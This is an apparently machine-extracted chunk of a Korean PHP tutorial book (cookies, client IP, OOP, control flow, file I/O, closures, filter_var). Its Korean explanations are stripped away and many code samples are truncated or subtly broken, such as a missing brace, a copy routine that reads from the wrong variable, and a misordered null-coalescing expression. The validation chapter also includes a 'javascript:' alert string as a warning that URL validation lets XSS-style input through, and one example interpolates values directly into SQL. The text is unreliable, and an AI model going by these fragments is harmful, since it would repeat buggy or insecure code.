PHP : https://riptutorial.com/ko/php/topic/6767/-php-
https://riptutorial.com/ko/home 406
99:
Examples
PHP
PHP :
<?php
<?php
class Foo
{
...
}
HTML PHP :
<ul id="nav">
<?php foreach ($navItems as $navItem): ?>
<li><a href="<?= htmlspecialchars($navItem->url) ?>">
<?= htmlspecialchars($navItem->label) ?>
</a></li>
<?php endforeach; ?>
</ul>
: https://riptutorial.com/ko/php/topic/3977/-
https://riptutorial.com/ko/home 407
100:
.
• .
• .
• PHP ( : , zend ). !
Examples
"//" "#" . PHP .
// This is a comment
echo "Hello World!"; // This is also a comment, beginning where we see "//"
. /* */ .
: https://riptutorial.com/ko/php/topic/6852/
https://riptutorial.com/ko/home 408
101:
HTTP .
• bool setcookie( string $name [, string $value = "" [, int $expire = 0 [, string $path = ""
[, string $domain = "" [, bool $secure = false [, bool $httponly = false ]]]]]] )
. .
.0 . Unix .
./ . /some-path/ . .
. stackoverflow.com . meta.stackoverflow.com .
TRUE HTTPS .
setcookie $_COOKIE .
Examples
setcookie() . HTTP .
setcookie("user", "Tom", time() + 86400, "/"); // check syntax for function params
• user .
• ( ) Tom
• ( ) 1 (86400 ).
• () /
• ( ) HTTPS .
• ( ) JavaScript .
https://riptutorial.com/ko/home 409
$_COOKIE ( path domain ) .
user
$_COOKIE . user .
echo $_COOKIE['user'];
setcookie("user", "John", time() + 86400, "/"); // assuming there is a "user" cookie already
HTTP setcookie() .
urlencoding,
$_COOKIE isset() .
// PHP <7.0
if (isset($_COOKIE['user'])) {
// true, cookie is set
echo 'User is ' . $_COOKIE['user'];
else {
// false, cookie is not set
echo 'User is not logged in';
}
// PHP 7.0+
echo 'User is ' . $_COOKIE['user'] ?? 'User is not logged in';
. .
$_COOKIE $_COOKIE .
unset($_COOKIE['user']);
: https://riptutorial.com/ko/php/topic/501/
https://riptutorial.com/ko/home 410
102: IP
Examples
HTTP_X_FORWARDED_FOR
httpoxy .
HTTP_X_FORWARDED_FOR IP IP SQL .
HTTP_X_FORWARDED_FOR IP . .
PHP . IP . REMOTE_ADDR .
function get_client_ip()
{
// Nothing to do without any reliable information
if (!isset($_SERVER['REMOTE_ADDR'])) {
return NULL;
}
if (in_array($_SERVER['REMOTE_ADDR'], $trusted_proxies)) {
// Header can contain multiple IP-s of proxies that are passed through.
// Only the IP added by the last proxy (last IP in the list) can be trusted.
$client_ip = trim(end(explode(",", $_SERVER[$proxy_header])));
print get_client_ip();
https://riptutorial.com/ko/home 411
IP : https://riptutorial.com/ko/php/topic/5058/-ip---
https://riptutorial.com/ko/home 412
103:
.
. .
, .
• . , .
• . .
• abstract .
class Foo {
private $foo = 'foo'; // OK
private $baz = array(); // OK
private $bar = new Bar(); // Error!
}
• . .
• .
interface FooBar {
const FOO_VALUE = 'bla';
public function doAnything();
}
Examples
API . "" , .
class interface .
interface Foo {
https://riptutorial.com/ko/home 413
. . .
interface Foo {
const BAR = 'BAR';
: , () , .
implements . , .
interface Foo {
public function doSomething($param1, $param2);
}
interface Bar {
public function doAnotherThing($param1);
}
. .
. .
extends . .
https://riptutorial.com/ko/home 414
interface Foo {
interface Bar {
. .
interface VehicleInterface {
public function forward();
...
}
...
}
https://riptutorial.com/ko/home 415
protected function pushPedal() {
...
}
...
}
Type . .
class ParkingGarage {
protected $vehicles = [];
, π . const .
class MathValues {
const PI = M_PI;
const PHI = 1.61803;
}
(: ). self ( ) .
class Labor {
/** How long, in hours, does it take to build the item? */
const LABOR_UNITS = 0.26;
/** How much are we paying employees per hour? */
const LABOR_COST = 12.75;
<5.6 .
PHP 5.6 ., .
class Labor {
/** How much are we paying employees per hour? Hourly wages * hours taken to make */
https://riptutorial.com/ko/home 416
const LABOR_COSTS = 12.75 * 0.26;
define("BAZ", array('baz'));
. , , Pie Pie .
class Pie {
protected $fruit;
Pie .
class Fruit {
const APPLE = "apple";
const STRAWBERRY = "strawberry";
const BOYSENBERRY = "boysenberry";
}
MyClass::CONSTANT_NAME .
echo MyClass::CONSTANT;
$classname = "MyClass";
echo $classname::CONSTANT; // As of PHP 5.3.0
PHP .
PHP 7.1 ., ( ). :
class Something {
const PUBLIC_CONST_A = 1;
https://riptutorial.com/ko/home 417
public const PUBLIC_CONST_B = 2;
protected const PROTECTED_CONST = 3;
private const PRIVATE_CONST = 4;
}
vs
:
define('BAR', bar());
class Foo {
const BAR = bar(); // Error: Constant expression contains invalid operations
}
define('BAR', bar());
class Foo {
const BAR = BAR; // OK
}
:: class
PHP 5.5 ::class use .
namespace foo;
use bar\Bar;
echo json_encode(Bar::class); // "bar\\Bar"
echo json_encode(Foo::class); // "foo\\Foo"
echo json_encode(\Foo::class); // "Foo"
( : ).
. , class_exists . .
class_exists(ThisClass\Will\NeverBe\Loaded::class, false);
https://riptutorial.com/ko/home 418
PHP 5.3 . self:: scope resolors . .
class Horse {
public static function whatToSay() {
echo 'Neigh!';
}
MrEd whatToSay() . .
Horse::speak(); // Neigh!
MrEd::speak(); // Neigh!
class Horse {
public static function whatToSay() {
echo 'Neigh!';
}
Horse::speak(); // Neigh!
MrEd::speak(); // Hello Wilbur!
. . .
"" . .
Worker . .
interface Worker {
public function run();
}
https://riptutorial.com/ko/home 419
Worker run() .
AbstractWorker .
https://riptutorial.com/ko/home 420
protected function main() {
foreach ($this->transactions as $transaction) {
// Could throw some PDO or MYSQL exception, but that is handled by the
AbstractWorker
$stmt = $this->pdo->query("UPDATE transactions SET processed = 1 WHERE id =
{$transaction['id']} LIMIT 1");
$stmt->execute();
}
}
}
PHP .
: X1 (X :: x) .
PHP . .
application\controllers\Base :
<?php
namespace application\controllers { class Base {...} }
application\controllers\Control :
<?php
namespace application\controllers { class Control {...} }
application\models\Page :
<?php
namespace application\models { class Page {...} }
FQN .
• ○ applications
○ controllers
○ Base.php
○ Control.php
○ models
○ Page.php
FQN .
https://riptutorial.com/ko/home 421
function getClassPath(string $sourceFolder, string $className, string $extension = ".php") {
return $sourceFolder . "/" . str_replace("\\", "/", $className) . $extension; // note that
"/" works as a directory separator even on Windows
}
spl_autoload_register :
(fallback) .
PHP . . , phar .
, .
interface Animal {
public function makeNoise();
}
https://riptutorial.com/ko/home 422
public function makeNoise {
$this->bark();
}
...
}
class Person {
const CAT = 'cat';
const DOG = 'dog';
private $petPreference;
private $pet;
if($person->isCatLover()) {
$person->setPet(new Cat());
} else if($person->isDogLover()) {
$person->setPet(new Dog());
}
$person->getPet()->makeNoise();
( / ) ( / ) , .
public .
• .
•
• ,
public .
class MyClass {
// Property
public $myProperty = 'test';
https://riptutorial.com/ko/home 423
// Method
public function myMethod() {
return $this->myProperty;
}
}
echo $obj->myProperty;
// Out: test
protected .
• .
•
, . / . ( ) .
protected .
class MyClass {
protected $myProperty = 'test';
private .
• Only ( ) .
private .
https://riptutorial.com/ko/home 424
class MyClass {
private $myProperty = 'test';
$obj->modifyPrivatePropertyOf($newObj);
$newObj->run();
// Out: new value
private / .
parent::__construct();
class Foo {
function __construct($args) {
https://riptutorial.com/ko/home 425
echo 'parent';
}
function __construct($args) {
parent::__construct($args);
}
}
__construct() echo .
class BaseClass {
public function test() {
echo "BaseClass::test() called\n";
}
final ?
1.
2.
3. API .
4.
https://riptutorial.com/ko/home 426
API .
5. final .
6. extends
7. .
8. .
final : :
1. () .
2. API .
$ this,
class Person {
private $name;
static
https://riptutorial.com/ko/home 427
. .
class Car {
protected static $brand = 'unknown';
static .
class Car {
protected static $brand = 'unknown';
https://riptutorial.com/ko/home 428
BMW
(: ) static self . . .
class Singleton {
private static $instance = null;
return self::$instance;
}
getInstance() . CPU . , . .
$singleton = Singleton::getInstance();
, .
. PHP .
3 PHP ?
spl_autoload_register(function ($className) {
$path = sprintf('%s.php', $className);
if (file_exists($path)) {
include $path;
} else {
// file not found
}
});
https://riptutorial.com/ko/home 429
. , User_Post User_Image User , _ "" .
spl_autoload_register(function ($className) {
// replace _ by / or \ (depending on OS)
$path = sprintf('%s.php', str_replace('_', DIRECTORY_SEPARATOR, $className) );
if (file_exists($path)) {
include $path;
} else {
// file not found
}
});
- Composer - 3 .
spl_autoload_register(function ($className) {
$path = sprintf('%1$s%2$s%3$s.php',
// %1$s: get absolute path
realpath(dirname(__FILE__)),
// %2$s: / or \ (depending on OS)
DIRECTORY_SEPARATOR,
// %3$s: don't wory about caps or not when creating the files
strtolower(
// replace _ by / or \ (depending on OS)
str_replace('_', DIRECTORY_SEPARATOR, $className)
)
);
if (file_exists($path)) {
include $path;
} else {
throw new Exception(
sprintf('Class with name %1$s not found. Looked in %2$s.',
$className,
$path
)
);
}
});
https://riptutorial.com/ko/home 430
class Hello_World implements Demo_Classes {}
PHP 7 . , , , .
class Outer {
private $prop = 1;
protected $prop2 = 2;
PHP . .
class Shape {
public $sides = 0;
https://riptutorial.com/ko/home 431
return "A shape with $this->sides sides.";
}
}
__construct() . .
class Shape {
public $sides = 0;
, .
$this->sideLength = $sideLength;
}
https://riptutorial.com/ko/home 432
}
}
print $mySquare->perimeter() // 40
: https://riptutorial.com/ko/php/topic/504/-
https://riptutorial.com/ko/home 433
104:
Examples
PHP if , while , for , foreach switch .
if ($a == 42):
echo "The answer to life, the universe and everything is 42.";
endif;
elseif :
if ($a == 5):
echo "a equals 5";
elseif ($a == 6):
echo "a equals 6";
else:
echo "a is neither 5 nor 6";
endif;
PHP Manual - -
while true .
$i = 1;
while ($i < 10) {
echo $i;
$i++;
}
: 123456789
do-while .
$i = 0;
do {
$i++;
echo $i;
} while ($i < 10);
Output: `12345678910`
https://riptutorial.com/ko/home 434
goto goto goto MyLabel; .
: MyLabel: .
Hello World! :
<?php
goto MyLabel;
echo 'This text will be skipped, because of the jump.';
MyLabel:
echo 'Hello World!';
?>
declare .
• ticks
• encoding
• strict_types
1.
declare(ticks=1);
declare strict_types .
declare(strict_types=1);
if . else if .
PHP Manual - -
if-else
. if-else . if .
: $a=1; $b=2;
echo ($a > $b) ? "a is greater than b" : "a is NOT greater than b";
&
https://riptutorial.com/ko/home 435
require include E_COMPILE_ERROR E_COMPILE_ERROR . require . include E_WARNING .
require 'file.php';
PHP Manual - -
include .
./variables.php
$a = 'Hello World!';
./ main.php`
include 'variables.php';
echo $a;
// Output: `Hello World!`
file include . .
configuration.php
<?php
return [
'dbname' => 'my db',
'user' => 'admin',
'pass' => 'password',
];
main.php
<?php
$config = include 'configuration.php';
PHP Manual - -
include require .
include1.php :
https://riptutorial.com/ko/home 436
<?php
$a = "This is to be returned";
return $a;
?>
index.php :
return .
return .
function returnEndsFunctions()
{
echo 'This is executed';
return;
echo 'This is not executed.';
}
and return .
...
for .
: 123456789
foreach .
: 123 .
foreach Iterator .
https://riptutorial.com/ko/home 437
$array = ['color'=>'red'];
: color: red
elseif
elseif
elseif
if elseif .
if ($a == 1) {
echo "a is One";
} elseif ($a == 2) {
echo "a is Two";
} elseif ($a == 3) {
echo "a is Three";
} else {
echo "a is not One, not Two nor Three";
}
if .
PHP Manual - - If
https://riptutorial.com/ko/home 438
switch ($colour) {
case "red":
echo "the colour is red";
break;
case "green":
case "blue":
echo "the colour is green or blue";
break;
case "yellow":
echo "the colour is yellow";
// note missing break, the next block will also be executed
case "black":
echo "the colour is black";
break;
default:
echo "the colour is something else";
break;
}
$i = 1048;
switch (true) {
case ($i > 0):
echo "more than 0";
break;
case ($i > 100):
echo "more than 100";
break;
case ($i > 1000):
echo "more than 1000";
break;
}
switch
: https://riptutorial.com/ko/php/topic/2366/-
https://riptutorial.com/ko/home 439
105:
• int readfile (string $ filename [, bool $ use_include_path = false [, $ ]])
1. .
• . . , DirectoryIterator SplFileInfo .
2. .
• . / , /home/user/file.txt Windows , , C:/Users/user/file.txt
• , getcwd chdir .
3. .
• scheme:// wrapper scheme:// . , file_get_contents("http://example.com")
http://example.com .
4. .
• Windows DIRECTORY_SEPARATOR / . / ( : realpath ) .
Examples
unlink .
$filename = '/path/to/file.txt';
if (file_exists($filename)) {
$success = unlink($filename);
if (!$success) {
throw new Exception("Cannot delete $filename");
}
}
rmdir rmdir . . . .
/ ().
https://riptutorial.com/ko/home 440
// ensure that $dir ends with a slash so that we can concatenate it with the filenames
directly
$dir = rtrim($dir, "/\\") . "/";
// store the next file name to $file. if $file is false, that's all -- end the loop.
while(($file = $list->read()) !== false) {
if($file === "." || $file === "..") continue;
if(is_file($dir . $file)) {
unlink($dir . $file);
$count++;
} elseif(is_dir($dir . $file)) {
$count += recurse_delete_dir($dir . $file);
}
}
return $count;
}
IO
file_get_contents file_put_contents PHP .
$path = "file.txt";
// reads contents in file.txt to $contents
$contents = file_get_contents($path);
// let's change something... for example, convert the CRLF to LF!
$contents = str_replace("\r\n", "\n", $contents);
// now write it back to file.txt, replacing the original contents
file_put_contents($path, $contents);
FILE_APPEND . LOCK_EX . , :
CSV IO
fgetcsv($file, $length, $separator)
CSV .
https://riptutorial.com/ko/home 441
$file = fopen("contacts.csv","r");
print_r(fgetcsv($file));
print_r(fgetcsv($file,5," "));
fclose($file);
contacts.csv
Array
(
[0] => Kai Jim
[1] => Refsnes
[2] => Stavanger
[3] => Norway
)
Array
(
[0] => Hege,
)
stdout
readfile . readfile () .
$file = 'monkey.gif';
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
file . .
https://riptutorial.com/ko/home 442
print_r(file("test.txt"));
test.txt
Array
(
[0] => Welcome to File handling
[1] => This is to test file handling
)
.
is_dir is_file . file_exists .
$dir = "/this/is/a/directory";
$file = "/this/is/a/file.txt";
/this/is/a/directory is a directory
/this/is/a/directory is not a file
/this/is/a/directory exists
/this/is/a/file.txt is not a directory
/this/is/a/file.txt is a file
/this/is/a/file.txt exists
filetype filetype .
• fifo
• char
• dir
• block
• link
• file
• socket
• unknown
filetype :
https://riptutorial.com/ko/home 443
echo filetype("~"); // dir
is_writable is_readable .
false .
/
filemtime fileatime . Unix . .
fileinfo
$fileToAnalyze = ('/var/www/image.png');
$filePathParts = pathinfo($fileToAnalyze);
echo '<pre>';
print_r($filePathParts);
echo '</pre>';
Array
(
[dirname] => /var/www
[basename] => image.png
[extension] => png
[filename] => image
)
$filePathParts['dirname']
$filePathParts['basename']
$filePathParts['extension']
$filePathParts['filename']
https://riptutorial.com/ko/home 444
• ( ) .
• .
• . (MIME ).
• $path . image.jpg.png .jpg .png . .
XXXXX .
. (top-1m.csv 1 22MB )
var_dump(memory_get_usage(true));
$arr = file('top-1m.csv');
var_dump(memory_get_usage(true));
int(262144)
int(210501632)
var_dump(memory_get_usage(true));
$index = 1;
if (($handle = fopen("top-1m.csv", "r")) !== FALSE) {
while (($row = fgetcsv($handle, 1000, ",")) !== FALSE) {
file_put_contents('top-1m-reversed.csv',$index . ',' . strrev($row[1]) . PHP_EOL,
FILE_APPEND);
$index++;
}
fclose($handle);
}
var_dump(memory_get_usage(true));
int(262144)
int(262144)
IO
fopen ,, . resource .
https://riptutorial.com/ko/home 445
.
r ,
r+ .
w . . .
w+ . . .
a . .
a+ . .
x . fopen .
x+ . fopen .
c . . .
c+ . . .
fread EOF .
fgets EOL .
fread fgets .
( a ) . fseek .
• SEEK_SET : . .
• SEEK_CUR : .
• SEEK_END : . . .
ftell .
10 10 10 10 file.txt 10 .
https://riptutorial.com/ko/home 446
$fh = fopen("file.txt", "rb");
fseek($fh, 10); // start at offset 10
echo fread($fh, 10); // reads 10 bytes
fseek($fh, 10, SEEK_CUR); // skip 10 bytes
echo fread($fh, 10); // read 10 bytes
fseek($fh, -10, SEEK_END); // skip to 10 bytes before EOF
echo fread($fh, 10); // read 10 bytes
fclose($fh);
fwrite .
copy . .
if (copy('test.txt', 'dest.txt')) {
echo 'File has been copied successfully';
} else {
echo 'Failed to copy file to destination given.'
}
// ensure that $src and $dest end with a slash so that we can concatenate it with the
filenames directly
$src = rtrim($dest, "/\\") . "/";
$dest = rtrim($dest, "/\\") . "/";
// store the next file name to $file. if $file is false, that's all -- end the loop.
while(($file = $list->read()) !== false) {
if($file === "." || $file === "..") continue;
if(is_file($src . $file)) {
copy($src . $file, $dest . $file);
$count++;
} elseif(is_dir($src . $file)) {
$count += recurse_copy_dir($src . $file, $dest . $file);
}
}
return $count;
}
https://riptutorial.com/ko/home 447
/
/ . rename rename .
• rename("~/file.txt", "~/file.html");
• rename("~/dir", "~/old_dir");
• rename("~/dir/file.txt", "~/dir2/file.txt");
: https://riptutorial.com/ko/php/topic/1426/-
https://riptutorial.com/ko/home 448
106:
Examples
PHP . . .
Closure . :
<?php
$myClosure = function() {
echo 'Hello world!';
};
callable , usort .
<?php
$data = [
[
'name' => 'John',
'nbrOfSiblings' => 2,
],
[
'name' => 'Stan',
'nbrOfSiblings' => 1,
],
[
'name' => 'Tom',
'nbrOfSiblings' => 3,
]
];
var_dump($data); // Will show Stan first, then John and finally Tom
use . :
<?php
https://riptutorial.com/ko/home 449
$quantity = 1;
"" . . :
<?php
function createCalculator($quantity) {
return function($number) use($quantity) {
return $number + $quantity;
};
}
$calculator1 = createCalculator(1);
$calculator2 = createCalculator(2);
Closure . bindTo , . :
<?php
$myClosure = function() {
echo $this->property;
};
class MyClass
{
public $property;
<?php
$myClosure = function() {
echo $this->property;
};
class MyClass
{
https://riptutorial.com/ko/home 450
public $property;
private . . . .
<?php
$myClosure = function() {
echo $this->property;
};
class MyClass
{
private $property; // $property is now private
. , .
<?php
class MyClass
{
private $property;
https://riptutorial.com/ko/home 451
$myInstance = new MyClass('Hello world!');
$displayer = $myInstance->getDisplayer();
$displayer(); // Shows "Hello world!"
PHP7 call . :
<?php
class MyClass
{
private $property;
$myClosure = function() {
echo $this->property;
};
bindTo . $myInstance .
. .
. .
<?php
https://riptutorial.com/ko/home 452
}
}
<?php
<?php
$o = new ObservedStuff;
$o->setProperty('Hello world!');
// Shows:
// Observer1 has been notified! New property value: Hello world!
https://riptutorial.com/ko/home 453
// Observer2 has been notified! New property value: Hello world!
( " ").
: https://riptutorial.com/ko/php/topic/2634/
https://riptutorial.com/ko/home 454
107:
. ( ) . HTML .
. .
------ ------
------ ------
Examples
filter_var() ( filter_var() false .
var_dump(filter_var('[email protected]', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('notValidEmail', FILTER_VALIDATE_EMAIL));
string(16) "[email protected]"
bool(false)
. xn-- .
. MX . .
var_dump(filter_var('10', FILTER_VALIDATE_INT));
var_dump(filter_var('a10', FILTER_VALIDATE_INT));
var_dump(filter_var('10a', FILTER_VALIDATE_INT));
var_dump(filter_var(' ', FILTER_VALIDATE_INT));
var_dump(filter_var('10.00', FILTER_VALIDATE_INT));
var_dump(filter_var('10,000', FILTER_VALIDATE_INT));
var_dump(filter_var('-5', FILTER_VALIDATE_INT));
var_dump(filter_var('+7', FILTER_VALIDATE_INT));
https://riptutorial.com/ko/home 455
int(10)
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
int(-5)
int(7)
filter_var .
$options = array(
'options' => array(
'min_range' => 5,
'max_range' => 10,
)
);
var_dump(filter_var('5', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('10', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('8', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('4', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('11', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('-6', FILTER_VALIDATE_INT, $options));
int(5)
int(10)
int(8)
bool(false)
bool(false)
bool(false)
URL
URL : example.com
var_dump(filter_var('example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
https://riptutorial.com/ko/home 456
:
bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
URL : http://example.com
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
string(18) "http://example.com"
string(18) "http://example.com"
string(18) "http://example.com"
bool(false)
bool(false)
URL : http://www.example.com
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));
string(22) "http://www.example.com"
string(22) "http://www.example.com"
string(22) "http://www.example.com"
bool(false)
bool(false)
URL : http://www.example.com/path/to/dir/
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
https://riptutorial.com/ko/home 457
FILTER_FLAG_QUERY_REQUIRED));
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
bool(false)
URL : http://www.example.com/path/to/dir/index.php
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
bool(false)
URL : http://www.example.com/path/to/dir/index.php?test=y
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
: XSS .
https://riptutorial.com/ko/home 458
var_dump(filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL));
// string(31) "javascript://comment%0Aalert(1)"
$string = "<p>Example</p>";
$newstring = filter_var($string, FILTER_SANITIZE_STRING);
var_dump($newstring); // string(7) "Example"
$string html .
float float .
var_dump(filter_var(1, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT));
https://riptutorial.com/ko/home 459
float(1)
float(1)
float(1)
float(1.00001)
float(1)
float(1)
float(1)
float(1.00001)
bool(false)
bool(false)
bool(false)
bool(false)
float(1)
float(1)
float(1)
float(1.00001)
float(1)
float(1)
float(1)
float(1.00001)
float(1000)
float(1000)
float(1000)
float(1000.00001)
MAC
MAC .
var_dump(filter_var('FA-F9-DD-B2-5E-0D', FILTER_VALIDATE_MAC));
var_dump(filter_var('DC-BB-17-9A-CE-81', FILTER_VALIDATE_MAC));
var_dump(filter_var('96-D5-9E-67-40-AB', FILTER_VALIDATE_MAC));
var_dump(filter_var('96-D5-9E-67-40', FILTER_VALIDATE_MAC));
var_dump(filter_var('', FILTER_VALIDATE_MAC));
string(17) "FA-F9-DD-B2-5E-0D"
string(17) "DC-BB-17-9A-CE-81"
string(17) "96-D5-9E-67-40-AB"
bool(false)
bool(false)
Sanitze
var_dump(filter_var('[email protected]', FILTER_SANITIZE_EMAIL));
var_dump(filter_var("!#$%&'*+-=?^_`{|}~.[]@example.com", FILTER_SANITIZE_EMAIL));
var_dump(filter_var('john/@example.com', FILTER_SANITIZE_EMAIL));
var_dump(filter_var('john\@example.com', FILTER_SANITIZE_EMAIL));
var_dump(filter_var('joh [email protected]', FILTER_SANITIZE_EMAIL));
https://riptutorial.com/ko/home 460
string(16) "[email protected]"
string(33) "!#$%&'*+-=?^_`{|}~.[]@example.com"
string(16) "[email protected]"
string(16) "[email protected]"
string(16) "[email protected]"
, .
var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(-1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(+1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(1.00, FILTER_SANITIZE_NUMBER_INT));
